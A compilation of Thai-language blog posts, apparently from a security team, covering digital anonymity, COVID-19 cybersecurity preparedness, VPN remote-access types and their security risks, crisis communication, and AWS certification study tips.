ขอเสริมให้อีกสักข้อ ทั้งในการเรียนและการทำงาน หลาย ๆ ที่ก็มักจะมีการแจกอุปกรณ์เพื่ออำนวยความสะดวกในการเรียน หรือการทำงาน โดยอาจจะอนุญาตให้นำกลับมาใช้งานที่บ้านและพกพาไปไหนก็ได้ ตลอดระยะเวลาที่เรายังเรียน หรือทำงานในที่นั้น ๆ อยู่ แม้ของเหล่านี้อาจได้ชื่อว่าเป็นของเรา (แค่ชั่วคราว) แต่ท้ายที่สุดก็ไม่ใช่ของเราอยู่ดี ซึ่งเราไม่รู้หรอกว่าอุปกรณ์เหล่านี้ถูกติดตั้งอะไรมาก่อนบ้างก่อนจะถึงมือเรา เช่น Keylogger หรือ MDM (สำหรับอุปกรณ์เคลื่อนที่อย่าง Smartphone หรือTablet) และที่มักพบบ่อยที่สุดคือ GPS สำหรับใช้ติดตามอุปกรณ์ (ก็ต้องกลัวของหายกันเป็นธรรมดา) ของเหล่านี้นี่เองที่เป็นดังสายสืบชั้นดีที่คุณยินยอมให้เข้ามาในบ้าน เชื่อมต่ออินเทอร์เน็ตส่วนตัวที่บ้าน หรือนำไปใช้งานปนกับเรื่องส่วนตัว :br
และสำหรับใครที่อยู่กับครอบครัวหรืออยู่กันหลายคนในคอนโด ห้องเช่า หรือบ้านหลังเดียวกันก็ดี บางทีเราระวังแล้วแต่คนอื่นในบ้านไม่ได้ระวังกับเราด้วย ก็อาจนำไปสู่ความล้มเหลวได้เหมือนกัน
> ปรมาจารย์แห่งการไร้ตัวตนจากทั้งหมดที่เล่ามา การที่จะไร้ตัวตนอย่างสมบูรณ์แบบบนโลกอินเทอร์เน็ตนั้นไม่ใช่เรื่องง่ายเลย แต่มันก็ไม่ได้ยากเกินไปถึงขนาดใช้คำว่าเป็นไปไม่ได้ อย่างน้อย เราได้หันกลับมาปกป้องสิทธิที่ควรจะเป็นของเรา สวมเครื่องป้องกันให้กับตัวเองบ้าง ไม่จำเป็นต้องไร้ตัวตนกับทุกคน เราแค่ไร้ตัวตนกับคนที่พยายามคุกคามเราเท่านั้นก็พอ และหากเราตั้งใจ ให้ความสำคัญกับการลบร่องรอยของเราจริง ๆ และหมั่นทำมันให้เป็นกิจวัตร ไม่ลดความระมัดระวัง สักวันหนึ่งเราก็จะกลายเป็นอย่างตัวละคร Jack Reacher ได้จริงเหมือนกัน เพราะความพยายามไม่เคยทรยศความสำเร็จครับ
# การเตรียมความพร้อม COVID-19 ผ่านมุมมอง Cybersecurity
COVID-19 จัดเป็น Pandemic หรือโรคระบาดที่เกิดการระบาดทั่วโลก ทำให้หลายบริษัทต้องออกมาตรการขั้นเด็ดขาดเพื่อรับมือการแพร่ระบาดไวรัส เช่นการเน้นย้ำบุคลากรพร้อมกับชี้แจงให้กับพาร์ทเนอร์ เพื่อดูแลสุขภาพและป้องกันการแพร่ระบาดสู่ส่วนรวม ในช่วง 2 สัปดาห์ที่ผ่านมาพวกเราก็พบกับมาตรการรูปแบบต่าง ๆ ไม่ว่าจะเป็นมาตรการก่อนการเข้าอาคารสถานที่ การเตรียมการของบริษัทเอกชนหรือภาครัฐ ซึ่งความแตกต่างของการเตรียมความพร้อมก็แตกต่างกันไปในแต่ละที่ บางแห่งมีความพร้อมสูงมากดูแลถึงขนาดมอบกรมธรรม์ประกันชีวิต COVID-19 ให้กับพนง. หรือเตรียมความพร้อมและอนุญาตให้ work from home บางแห่งก็เฝ้าดูสถานการณ์รอคล้อยตามองค์กรต่าง ๆ หรือบางแห่งก็ไม่พบแม้แต่การประชุมภายในเพื่อการเตรียมความพร้อม!!!
ถ้าติดตามข่าวสารและ Social Media สะท้อนกระแสสังคมในช่วง 2 สัปดาห์ที่ผ่านมาจะพบว่ามีความเห็นแนวการปกปิดข่าวสารจากหน่วยงานรัฐ ถ้ามองดูในบริบทตามที่เคยปฏิบัติกันมาตั้งแต่อดีตจะพบว่า พวกรัฐบาลและหน่วยข่าวกรองให้ความสำคัญในการจัดการข้อมูลด้านสาธารณสุขและสุขภาพ (Health Information Manipulation) มานานแล้วเพื่อจุดประสงค์ในการป้องกันการตื่นกลัวของประชาชน (Mass Panic) ลดผลกระทบเชิงเศรษฐกิจ หรือลดกระแสการต่อต้านจากสังคม โดยวิธีการเหล่านี้สามารถทำได้เพื่อควบคุมสถานการณ์ในประเทศของตัวเอง หรือใช้โจมตีสาดข้อมูลไปยังประเทศเป้าหมายในลักษณะ Disinformation หรือ Propaganda ก็ได้ ดังนั้นไม่ใช่เรื่องแปลกที่มีข่าวลือเรื่องการปิดบังจำนวนผู้ป่วย เนื่องจากกระบวนการเหล่านี้หลาย ๆ ประเทศใช้กันอยู่แล้ว เช่นมีการ censor ข้อมูลเรื่อง COVID-19 บน YY และ WeChat ในจีน ประเด็นที่ต้องให้ความสำคัญประกอบกันคือต้องมีมาตรการควบคุมและป้องกันการแพร่ระบาดของโรคจากภาครัฐมารองรับอย่างมีประสิทธิภาพด้วย
{width="100%"}
## การ filter keywords บน YY และ WeChat; ภาพประกอบจาก CITIZEN LAB
เรื่อง COVID-19 นี้ไม่ควรมองเป็นเรื่องเล่น ๆ ที่อิตาลีปล่อยให้คนตายเพราะไม่มี resource ไปจัดการ ประเทศในแถบยุโรปหลายประเทศปิดประเทศไป ฝั่ง US ก็ block เที่ยวบินจากยุโรป ส่วนใน UK ที่ปรึกษาของ Boris Johnson จะใช้ Herd Immunity ที่โคตรเสี่ยง ถึงเวลาที่พวกเราต้องเตรียมความพร้อมแล้วนะครับ โดยเฉพาะคนที่ทำงานสาย IT นอกเหนือจากการปฏิบัติตามแผน BCP ขององค์กรอย่างเคร่งครัด
{width="100%"}
**COVID-19 ติดต่อกันได้ง่ายกว่า Flu เกือบ 2 เท่า**
## สิ่งที่เราต้องเตรียมความพร้อมในมิติด้าน IT และ Cybersecurity ก็น่าจะประกอบด้วย
1. ให้ความใส่ใจและปกป้องพนักงานทุกคนในบริษัทเพราะความปลอดภัยในชีวิตของคนย่อมสำคัญกว่าสิ่งอื่นใด บทความ COVID-19: Briefing note ของ McKinsey จึงให้ความสำคัญการตอบสนองต่อสถานการณ์ COVID-19 โดยกำหนดให้เป็นลำดับแรก พร้อมกันนี้ยังให้ความสำคัญของการสื่อความโดยตรงและชัดเจนจากผู้บริหารถึงพนักงาน ด้วยความถี่ที่เหมาะสมด้วย การไม่สื่อความหรือตอบสนองช้า ย่อมก่อให้เกิดผลลัพธ์ที่ไม่ดีในระยะยาว
2. Infrastructure สำหรับการให้บริการ Work from home ไม่ว่าจะเป็นระบบ VPN, Authentication, Remote Access, VDO Conference, Desktop Sharing, Web Application , หรือพวก Collaboration tools อื่น ๆ อย่าลืมนับจำนวน licence ด้วยว่าสามารถรองรับการทำงานได้ และดู Load ของอุปกรณ์ให้เรียบร้อยด้วย
3. หากมีคำสั่งที่ทำให้คนส่วนใหญ่หรือทุกคนต้องอยู่บ้าน ไม่สามารถเข้าไปที่ทำงานได้ องค์กรควรคำนึงถึงการเตรียมความพร้อมเรื่องเวรประจำวัน หรือคนที่จะเข้าไป Maintain หรือแก้ปัญหา Infrastrcuture ที่สำคัญ อย่าลืมว่า Vendor อาจจะไม่มาช่วยเรา หรือคนที่ดูแลอุปกรณ์นั้น ๆ ถ้าเกิดป่วยขึ้นมาจะจัดการอย่างไรต่อดี อย่าลืมคิดเผื่อด้วยว่างานอะไรที่ไม่สามารถทำแบบ Remote ได้
4. ต่อเนื่องจากข้อ 2 เมื่อไม่ค่อยมีคนไปที่ทำงาน จงเตรียมความพร้อมเรื่อง Physical Security ด้วย เราอาจแยกแยะโจรกับคนที่ไม่ใช่โจรยากขึ้นเพราะใส่หน้ากากเหมือนกัน ทุกวันนี้เวลาดูข่าวเราก็พบว่าคนที่ไม่ใส่หน้ากากก็สามารถเป็นโจรได้
5. หากต้อง Work from home นาน ๆ ให้เตรียมมาตรการดูแล endpoint ของผู้ใช้งานด้วยเช่นจะ update ระบบหรือโปรแกรมต่าง ๆ อย่างไร จะป้องกันการโจมตีจาก Internet ได้มั้ยเพราะไม่มีอุปกรณ์ Security ขององค์กรมาช่วย filter ให้แล้ว และช่วงเวลาดังกล่าวอาจเป็นช่วงเวลาที่พวก hacker น่าจะมีเวลาเยอะและหาโอกาสโจมตี Infrastructure องค์กรของเราก็เป็นได้ ลองสังเกตดูว่าจาก incident หลาย ๆ ครั้งในอดีต องค์กรของเรามักจะโดนเล่นงานช่วงหยุดยาวหรือไม่ ถ้า hacker เจอปัญหา COVID-19 ด้วย ก็อาจจะไม่มีประเด็นนี้
6. สื่อความเรื่อง Security Awareness ให้กับทุกคนในองค์กร เนื่องจากการทำ Social Engineering ด้วยวิธีการ pretexting (สร้างสถานการณ์เพื่อให้เหยื่อหลงเชื่อเช่นหลอกให้ download โปรแกรม monitor สถานการณ์ COVID-19) ทีม Incident Response อาจจะตอบสนองได้ลำบากขึ้น เพราะทุกคนกระจายอยู่บ้านกันหมด และอย่าลืมเรื่องการ store, process, และ transmit ข้อมูลสำคัญ ข้อมูลส่วนบุคคลด้วยว่าควรจะต้องจัดการมันอย่างไรเวลาทำงานแบบ remote work
7. สื่อความเรื่อง Threat โดยเฉพาะเรื่อง business email compromise ให้กับหน่วยงานหรือคนที่รับผิดชอบด้านการโอนเงินหรือ interface กับลูกค้าโดยต้องมั่นใจว่าปลายทางที่กำลังคุยอยู่ด้วยนั้นคือตัวจริงก่อนทำ financial transaction ที่สำคัญ และต้องเน้นย้ำให้พนง. ตระหนักถึงเรื่องนี้ให้มาก ๆ
8. ให้ความสำคัญเรื่อง Communication และ Collaboration ว่าจะสื่อความอย่างไร ช่องทางไหน อะไรที่เป็นช่องทางที่เป็นทางการ อะไรที่ใช้เฉพาะกลุ่ม อย่าลืมว่าถ้าใช้ line เพียงช่องทางเดียว file สำคัญที่รับ-ส่งกันมันจะไม่สามารถ access ได้ตลอด
9. การเตรียมความพร้อมของ Blue Team เนื่องจาก baseline การใช้งานของผู้ใช้งาน และเครื่องไม้เครื่องมือในการ monitor พวก endpoint ต่าง ๆ อาจจะไม่เป็นไปตามที่เราออกแบบไว้ เนื่องจากทุกคนอยู่บ้านกันหมด ซึ่งหากเป็น worst case องค์กรอาจจะไม่มีใคร monitor ก็ได้
10. เก็บรายชื่อผู้รับผิดชอบทั้ง primary และ secondary contact, เตรียมข้อมูล call tree , ทบทวนเรื่อง crisis communication และ play book ต่าง ๆ ในมือให้พร้อม
11. Be Prepared!
- คู่มือสำหรับการเตรียมความพร้อม COVID-19 โดย Government of Canada :br{rel=""nofollow""}…/2019-novel-coro…/being-prepared.html
- Application ใกล้มือหมอ ในการคัดกรอง ผู้ป่วย COVID-19 :br{rel=""nofollow""}
- 16 มาตรการของทางการจีน :br{rel=""nofollow""}
- COVID-19 Global Dashboard :br
Desktop ver.c :br{rel=""nofollow""}…/opsdashboard/index.html :br
Mobile ver. :br{rel=""nofollow""}
- Thailand COVID-19 Tracker :br{rel=""nofollow""}
- ส่วนแอป AOT Airports หรือแอป SydeKick for ThaiFightCOVID ในความเห็นส่วนตัวยังไม่ตอบโจทย์เท่าไร เพราะ monitoring แบบไม่มี enforecement มัน control ไม่ได้
> PS1. ใครมีหน้ากากอนามัย surgical mask เหลือใช้ ช่วยเอาไปบริจากคุณหมอ/พยาบาลบ้างนะครับ เพื่อนแอดที่ทำงานอยู่โรงพยาบาลใกล้จะไม่มีจะใช้แล้ว ตอนนี้ต้องทำ compensate control กันเองแตกต่างกันไปแต่ละที่ เราสามารถดู status ความขาดแคลนได้ที่ {rel=""nofollow""}
> PS2. COVID-19 อยู่ที่ระดับ 3 แล้วหรือยังให้ดูที่ Indicator ดังนี้
1. ติดต่อระบาดในวงกว้าง หลาย ๆ พื้นที่
2. ติดต่อกันเกิน 4 hops
3. ติดต่ออย่างรวดเร็ว ในระยะเวลาสั้น ๆ :br
REF: นพ.พรเทพ ศิริวนารังสรรค์ นายกสมาคมเวชศาสตร์ป้องกันแห่งประเทศไทย :br{rel=""nofollow""}
## References:
1. Weaponizing Digital Health Intelligence by :br{rel=""nofollow""}
2. Security of Health Information :br{rel=""nofollow""}
3. Censored Contagion — How Information href="{rel=""nofollow""}" rel="noopener nofollow">{rel=""nofollow""}
4. {rel=""nofollow""}
# รอบรู้เรื่อง Remote Access ผ่าน VPN
VPN (Virtual Private Network) ถูกสร้างขึ้นเพื่อทำให้มั่นใจว่าการสื่อสารระหว่าง Source และ Destination นั้น secure เพียงพอ มีครบทั้ง Confidentiality และ Integrity ถ้าเป็นสมัยก่อน หากองค์กรรวยพอ ก็ลาก lease line แล้วคุยกันก็จบ แต่มันแพงและมีข้อจำกัดเยอะ เทคโนโลยีของ VPN จึงพัฒนาขึ้นเรื่อยมา
ถ้าพูดในเชิงวิชาการ ผลิตภัณฑ์ VPN คืออะไรนั้น ก็ให้มองว่าเป็นหนึ่งในรูปแบบการประยุกต์ใช้เรื่อง Applied Cryptography ที่กลายมาเป็นรากฐานของเทคโนโลยี Internet ในปัจจุบัน
ถ้าพิจารณา VPN ในเชิง Network อยากให้ลองดู Cisco SAFE blueprint ซึ่งเป็นคัมภีร์ที่ Network Engineer มักจะใช้เป็นต้นแบบในการประยุกต์พลิกแพลง Network Design รูปแบบต่าง ๆ แบบไม่รู้จบ ใน blueprint จะพบ VPN/Remote Access Module ตามภาพ ผู้ใช้งานเชื่อมต่อผ่าน Internet ไปยัง Perimeter ขององค์กร จากนั้น VPN/Remote Access Module จะรับผิดชอบจัดการต่อไป โดยขึ้นอยู่กับ Technology ที่เลือกใช้ VPN ในมุมมองของ Network Engineer ก็จะเป็น jigsaw หนึ่งของ Master Network Diagram ใหญ่ขององค์กร

ดูต้นฉบับได้ที่ {rel=""nofollow""}
## ท่าต่าง ๆ ของการทำ Remote Access ด้วย VPN
ทำความเข้าใจกันก่อน
เนื้อหาส่วนนี้จะขออธิบายแบบกระชับ เนื่องจากข้อมูลเหล่านี้สามารถหาอ่านได้ หรือฟังการบรรยายจาก Vendor ที่ขายผลิตภัณฑ์เหล่านี้ก็ได้
- source หมายถึงเครื่องหรืออุปกรณ์ของผู้ใช้งาน
- destination หมายถึงอุปกรณ์ที่สร้างการเชื่อมต่อแบบ VPN เช่น Firewall หรือ VPN Concentrator ซึ่ง traffic หลังจากนี้ก็แล้วแต่ว่าใช้ application หรือใช้ protocol อะไรอาจจะ secure หรือไม่นั้นขึ้นอยู่กับ environment ในเครือข่ายนั้น ๆ
### PPTP, L2F, P2TP
เป็น L2 tunneling protocol ใช้กันมานานแล้ว ทุกวันนี้ก็ยังมีอยู่ ผู้เขียนก็ยังใช้อยู่บ้างเหมือนกัน!! อาศัยการ dial-in เข้าไปจาก source ไปยัง destination
### IPsec VPN
ส่วนใหญ่ใช้กันในรูปแบบ site-to-site โดยทำการสร้าง tunnel ระหว่าง source และ destination หากจะมาใช้แบบ client-to-site ก็ไม่มีปัญหา แต่ว่าถ้าให้ผู้ใช้งาน configure ด้วยตัวเองก็จะวุ่นวายหน่อย ไม่ค่อย practical ต้องติดตั้ง client เพื่อเป็น agent ในการจัดการจะดีกว่า เวลาใช้งาน traffic ทั้งหมดของ source จะถูก route ผ่านไปยังองค์กรหรือ security stack ปลายทาง (ส่วนตัวไม่ค่อยได้พบการทำ split-tunneling กับท่านี้เท่าไร) ดังนั้นสามารถควบคุม policy ด้าน security ได้ว่าจะให้ใช้งานหรืออยากจะ block อะไรก็ได้ตามที่ต้องการ แต่เปลือง bandwidth
> ตัวอย่าง Product: Cisco AnyConnect, Palo Alto GlobalProtect, FortiClient, Pulse Connect Secure, Check Point Remote Access VPN
### TLS VPN
ท่านี้ ผู้ดูแลระบบและผู้ใช้งานน่าจะรู้จักกันเป็นอย่างดีในชื่อของ SSL VPN ถ้าเขียนรูปแบบที่ไม่ทำให้งงจะใช้ marketing keyword ว่า SSL/TLS VPN ท่านี้ไม่มีการสร้าง tunnel ใด ๆ เป็นพิเศษ source ของท่านี้คือ browser โดยจะทำการเชื่อมต่อเข้ามาที่ destination ด้วย TLS(HTTPS) ใช้งานง่ายและสะดวกเพราะเป็น agentless ถ้าผู้ใช้งานต้องการใช้แค่ Web Application ในการทำงาน ท่านี้จะสะดวกที่สุด
### TLS Tunnel VPN
เป็นการสร้าง TLS tunnel ระหว่าง source และ destination ดังนั้นที่ Firewall ของ destination ไม่ต้องปรับเปลี่ยนอะไรมากนักแค่เปิด TCP/443 โดย traffic ที่เกิดขึ้นบน source จะถูก route ผ่านไปยังองค์กรหรือ security stack ปลายทาง ท่านี้ต้องติดตั้ง agent
> ตัวอย่าง Product: Cisco AnyConnect, Palo Alto GlobalProtect, FortiClient, Pulse Connect Secure, Check Point Remote Access VPN, Citrix Gateway
### SDP (Software Defined Perimeter)
เป็น technology ใหม่แต่ไม่ได้ใหม่! concept เกิดขึ้นหลายปีแล้ว โดย source จะต้องเชื่อมต่อผ่าน agent ที่ถูกติดตั้งเพื่อไป authenticate และ authorise กับ controller ฝั่ง destination โดยจะพิจารณาทั้ง user และ device หลังจากนั้นถ้า approve ว่าผ่านใช้งานได้ จะมีการโยนส่งต่อให้ gateway ควบคุม traffic ระหว่าง source และ destination ต่อไป มองง่าย ๆ ก็เหมือนแนว next gen remote access เพราะคำว่า VPN ถูกละลายกลายเป็น SDP ไปแล้ว ข้อดีคือดู cool ดี แต่ข้อเสียคือน่าจะมีปัญหากับพวก legacy application และพวกใช้ proprietary protocol บ้าง
> ตัวอย่าง Product: Pulse SDP, Duo Beyond
### VPN as a Service (VPNaaS)
source เชื่อมต่อด้วยรูปแบบ VPN ตามแต่ละเทคนิคของ Provider ที่เอามาใช้ โดย traffic จะวิ่งจาก source ไปยัง cloud provider และไปยัง destination ท่านี้ผู้เขียนคิดว่ามันค่อนข้างหลากหลาย เช่นผู้ให้บริการนำเสนอ solution เพื่อเชื่อมต่อกับ cloud facility หลาย ๆ ที่ผ่าน VPN gateway เพื่อเชื่อมโยงแต่ละที่เข้าด้วยกัน สร้างเป็น Network ขนาดใหญ่และยืดหยุ่นที่ประกอบไปด้วย network ของ source และ network ที่เป็น cloud facility กระจายหลาย ๆ ที่ ส่วนอีกรูปแบบหนึ่งที่ผู้เขียนใช้งานเป็นประจำก็คือ VPN service ที่ทำให้ผู้ใช้งานสามารถเชื่อมต่อ Internet ได้อย่าง secure และมี privacy
> ตัวอย่าง Product: ท่าเชื่อม cloud-Palo Alto Prisma Access ส่วนหากใช้ VPN Service ส่วนตัวก็มีหลากหลายยี่ห้อเช่น Freedome ของ F-Secure
## Security ของการทำ Remote Access ผ่าน VPN
VPN Infrastructure : ท่าที่ใช้ย่อมแปรตาม infrastructure และ solution ที่เลือกจะทำ ดังนั้นการ update ระบบ, ติดตั้ง Patch และ configure ให้ปลอดภัยเป็นเรื่องสำคัญ เนื่องจาก asset owner ไม่สามารถ block การทำ service fingerprinting และการทำการ configuration evaluation ได้เลย ที่สำคัญหากเป็นช่องโหว่ของ solution เองช่องทางการโจมตีเพื่อทำ authentication bypasses ทำ command injection หรือทำ session hijacking ก็สามารถทำได้ เช่นช่องโหว่ CVE-2019–11510 หาก attacker scan พบและไม่ใช่ false positive แล้วล่ะก็ เรื่องใหญ่แน่นอน!!!
Remark: หาช่องโหว่ของ VPN Product อย่างไร :br
ต้องเอา Product มา hack มาทำ reverse engineering มา debug แล้วก็หาช่องโหว่ ลองดูได้จากหัวข้อ Black Hat 2019, Orange Tsai’s & Meh Chang’s ‘Infiltrating Corporate Intranet Like NSA — Pre-Auth RCE href="{rel=""nofollow""}" rel="noopener nofollow">{rel=""nofollow""}
Cryptographic Weakness : หลีกเลี่ยงการทำให้มีช่องโหว่ที่เกี่ยวข้องกับ cryptography เช่นการเลือกใช้ algorithm ที่ไม่ strong, ช่องโหว่ของ protocol, version ที่ไม่แนะนำ, ช่องโหว่ด้านการทำงานของอุปกรณ์, encryption, integrity checking, digital certificate, pre-shared key และอื่น ๆ แปรผันตามท่าที่เลือกใช้
Authentication: การทำ authentication มีความ secure แล้วหรือไม่ ใช้ authentication server หรือไม่, มีกระบวนการ reset password อย่างไร, หรือมีการบังคับทำ Multi-factor Authentication ด้วยวิธีการไหน เนื่องจาก authentication เป็นสิ่งสำคัญระบบที่คอยจัดการต้องมีความพร้อมต่อการทำ brure-force หรือการทำ denial of service ด้วยเช่น เป็นไปได้หรือไม่ถ้าหากมีใครมา try password ของผู้ใช้งานบ่อย ๆ แล้ว account นั้น lock?
Authorisation : ประเด็นนี้ต้องอาศัยการตรวจสอบค่อนข้างละเอียดเพราะต้องอาศัยข้อมูล authorisation matrix พิจารณาว่าแต่ละ user มีสิทธิ์ในการใช้งานอย่างไรบ้าง และ policy ของ network control ที่เปิดบังคับใช้ ทำตามที่ระบุใน matrix หรือไม่
Endpoint Attestation : เนื่องจากการทำ Remote Access ผ่าน VPN สร้างความยืดหยุ่นให้ผู้ใช้งานสามารถที่จะเลือกได้ว่าจะเชื่อมต่อจากอุปกรณ์อะไร ดังนั้น Policy ที่จะบังคับระดับ host-based security software หรือ endpoint attestation นั้นจึงถูกบังคับใช้ในบางองค์กรด้วย เช่นต้องติดตั้ง software antivirus, ต้อง enable host-based firewall, ต้องใช้งานผ่านเครือข่ายที่กำหนด ซึ่ง VPN solution ที่ใช้ พวก agent ที่ติดตั้งไว้จะสามารถตรวจสอบ function เหล่านี้ได้ อีกทางเลือกหนึ่งคือการใช้ NAC ในการรับผิดชอบหน้าที่ในการตรวจสอบก่อน ซึ่งจุดประสงค์ก็คือเพื่อตรวจสอบว่า source นั้น secure แล้วหรือยังก่อนใช้งาน VPN อย่างไรก็ตามต้อง tradeoff ว่าผู้ใช้งานอาจรู้สึกว่าเวลาใช้ Remote access แล้วระบบช้าก็เป็นได้ซึ่งผู้บริหารและผู้ไม่บริหารอาจไม่สบอารมณ์ $#!\*%$
Split Tunneling : ในทางทฤษฎีมีความเป็นไปได้ว่าระหว่างเชื่อมต่อ VPN อยู่เครื่องคอมพิวเตอร์หรือ source อาจถูกโจมตีและถูกยึดกลายเป็นช่องทางในการเข้ามาโจมตีเครือข่ายของ destination แต่ว่าในทางปฏิบัติหรือข่าวการโจมตีที่เคยเกิดขึ้นในอดีต ผู้เขียนยังไม่เคยพบ high-profile case ใด ที่ใช้ท่านี้เลย ดังนั้นแต่ละองค์กรก็ลองตัดสินใจดูครับว่าจะทำ split tunneling หรือไม่ security หรือ capacity ที่เป็นเรื่องที่ต้อง concern กว่า ให้ลองตัดสินใจกันดู
Network Security Monitoring : แค่ VPN authentication log อาจยังไม่พอ เนื่องจากการใช้งานผ่าน VPN พวก traffic ระหว่าง source และ destination ถูก encrypt อีกทั้งเรื่องของ IP address ที่จะพบใน log ด้วยว่าจะ correlate กันหรือจะ monitor จากจุดไหนดี สิ่งเหล่านี้เป็นเรื่องที่ blue team ต้องเตรียมความพร้อม
เรื่องทั่ว ๆ ไป: ได้แก่ credential leaks, security awareness, และเรื่อง sensitive information ที่เก็บอยู่บนเครื่องผู้ใช้งานไม่ว่าจะเป็น desktop, laptop, mobile หรือ IoT ให้อาศัย Policy และการ enforcement ขององค์กรในการบังคับใช้
ถึงแม้ว่าโลกของเราจะไม่มี Spider-Man แต่เราก็สามารถใช้ Remote Access ด้วย VPN อย่าง secure ได้นะครับ

# Crisis Communication
Crisis Communication หรือการสื่อสารในภาวะวิกฤต ความหมายโดยสรุปก็คือ "What you say when everything goes wrong" สิ่งที่สื่อสารต้องชัดเจน หากสื่อสารแล้วไม่เข้าใจ คนที่ได้รับผลกระทบก็ยังคงสงสัยและการวิจารณ์ต่าง ๆ ก็จะดำเนินต่อไป :br
:br
ในฐานะผู้นำองค์กรเมื่อเผชิญหน้ากับภาวะวิกฤต สิ่งที่จะสื่อสาร
1. ต้องแจ้งข้อมูลสำคัญให้คนที่รอรับสารได้รับทราบทั่วกัน บอกว่าปัญหาคืออะไร สถานการณ์คืออะไร
2. ให้ความมั่นใจและอธิบายว่าองค์กรทำอะไรไปแล้ว และกำลังจะทำอะไร
3. สิ่งที่ทำต้องมี Actionable + Responsible ถ้าเป็นสิ่งที่ทำผิด ควรยอมรับและกล่าวคำขอโทษ
4. บอกกับพนักงาน หรือบุคลากรในองค์กรว่าแต่ละคนจะทำอย่างไรได้บ้าง guide ในการปฏิบัติและการสื่อสารเป็นสิ่งสำคัญให้แต่ละฝ่ายงาน แต่ละคนควรทราบว่าจะต้องปฏิบัติอย่างไร
5. จงเห็นอกเห็นใจ ข้อความที่สื่อสารต้องแสดงออกถึงความเอาใจใส่ต่อสถานการณ์ "People want to hear how you feel before before they hear what you know." คำพูด ท่าทาง และการกระทำล้วนแล้วแต่มีผลทั้งสิ้น
6. ต้องตื่นตัวและเตรียมความพร้อม เมื่อเผชิญหน้ากับภาวะวิกฤต จะมี phase ของการเกิดเป็นดังนี้ :br
Pre-Crisis->At the Beginning of the Crisis->During the Crisis->Recovering from the Crisis->Post-Crisis :br
ผู้นำและทีมงานต้องรู้ว่าจะ focus อะไร ต้องเตรียมอะไรบ้าง สิ่งเหล่านี้จะทำให้ message ในการสื่อสารในภาวะวิกฤตมีประสิทธิภาพ
7. การจะทำให้ชัดเจน และเข้าใจได้ ต้องอาศัยมากกว่า 1 message ต้องสม่ำเสมอ ในทุก ๆ ช่องทาง
8. เวลาที่ใช้ในการสื่อความมีความสำคัญ
9. คำนึงถึงประเภทผู้รับสารด้วย เช่นคนนอกองค์กร ลูกค้า นักข่าว นักลงทุน หรือจะเป็นคนภายในองค์กรเช่นผู้บริหาร board และพนักงาน
10. ถ้าไม่มี message สื่อความภายในองค์กร พนักงานจะสร้าง message ขึ้นมากันเอง - "If you don't tell your story, someone else will" :br
หนึ่งในเทคนิคของการสื่อความเมื่อเผชิญหน้ากับภาวะวิกฤต สามารถสรุปสั้น ๆ ด้วยประโยค
> "Next to doing the right thing, the most important thing is to let people know you are doing the right thing" - John D. Rockefeller
---
**We.Secure.The.Nation**
# สอบ AWS Certificate เริ่มจากระดับไหนดี
AWS Certificate มีแบ่งเป็น 4 ระดับ ได้แก่ Foundation, Associate, Professional, Specialty ดูรายละเอียดตามรูปด้านล่างได้เลย
{width="100%"}
เนื่องจากตัวผมเองทำงานแต่สาย Security และพื้นฐานด้านนี้ค่อนข้างแน่นพอสมควรอยู่แล้ว ตอนแรกก็ค่อนข้างเปรี้ยวอยากไปสอบ AWS Security Specialty เลย แต่เนื่องด้วยสถานการณ์ COVID-19 ทำให้มีพอมีเวลา และ ตาม Security Learning Path ของ acloud.guru ก็แนะนำว่าให้สอบตั้งแต่ Foundation ดังนั้นด้วยระยะเวลาที่ไม่นาน สำหรับคนที่มีประสบการณ์ใช้แต่ EC2 อย่างผม ก็ท้าทายพอสมควร แต่สุดท้ายก็ได้มา 3 Cert คือ Cloud Practitioner, Solution Architect Associate และ Security Specialty
**ขอแนะนำเลยว่าถ้าคิดว่ามี Security Skill อยู่แล้วแล้วจะไปสอบได้ นี่คิดผิดแน่นอน อย่าทำอย่างนั้นเชียว ค่อย ๆ ปูพื้นฐานไล่เก็บจะดีกว่า**
{width="100%"}
## สำหรับการเตรียมตัวสอบในครั้งนี้ Resource ที่ใช้คือ
- [https://acloud.guru](https://acloud.guru/){rel=""nofollow""} อันนี้เป็น Resource หลักเลย ซึ่งตอนสมัครเป็นช่วงลดราคา COVID-19 ก็เลยได้ราคา Annual มาราวๆ 3xx USD พอสมัครเสร็จเข้าไปก็ Browse หา Security Learning Path ก็จัดได้เลย
- AWS Whitepaper ของ Product นั้น ๆ กับ Security Best Practice Whitepaper
- Practice Exam มีของ Official AWS กับของค่ายอื่น ๆ หรือแม้แต่บน acloud.guru ก็มีให้ลอง ซึ่งของ Official ไม่ดีตรงที่ไม่มีเฉลยว่าเราตอบข้อไหนถูกหรือผิด แต่ถ้าของค่ายอื่น ๆ ก็จะมีคำอธิบายบอก
- Youtube สำหรับคนมีเวลาน้อยไม่อยากทำ Lab เอง search หัวข้อที่สงสัยแล้วดูขั้นตอนได้เลย
- CloudAcademy.com อันนี้ผมเพิ่งมาใช้ตอนหลังแบบสมัครฟรี ซึ่งเข้าได้บางส่วนเท่านั้น แต่เท่าที่ลองส่วนที่เป็น Lab น่าสนใจคือ พอเริ่มทำ Lab ระบบจะสร้าง account AWS ให้เราเข้าไปใช้เลย และมีคำอธิบาย Lab ในแต่ละขั้นตอนรวมถึงมีการ run script เพื่อ verify ว่าเราทำถูกต้องตาม Lab ไหม (เนื้อหาผมไม่ได้เรียนจากที่นี่เลยไม่กล้าแนะนำ ไม่แน่ใจเทียบกับ acloud เป็นอย่างไร)
หัวข้อของการสอบ AWS Security Specialty ที่ผมเจอส่วนใหญ่จะเป็นเรื่องของ IAM, S3, KMS, ACM, CloudFront, CloudTrail, CloudWatch, Config, Incident Response มีทั้งส่วนที่เป็นคำถามทั่วไป และส่วนที่เน้นเฉพาะไปที่ AWS Products ซึ่งมีไม่น้อยที่ให้ JSON policy มาวิเคราะห์ ซึ่ง Choice แต่ละข้อก็ใกล้เคียงกันมาก บางข้อมีให้เลือกหลายคำตอบก็จะต้องมีพื้นฐาน และเข้าใจ AWS Product พอสมควรถึงจะรอดได้
## การสมัครสอบ
- เมื่อก่อน AWS มีการบังคับว่าก่อนจะสอบ Level สูงต้องสอบ Level ต่ำให้ได้ก่อนแต่ปัจจุบันสามารถที่จะสอบอันไหนก็ได้ ไม่มี Pre-requisite แล้ว
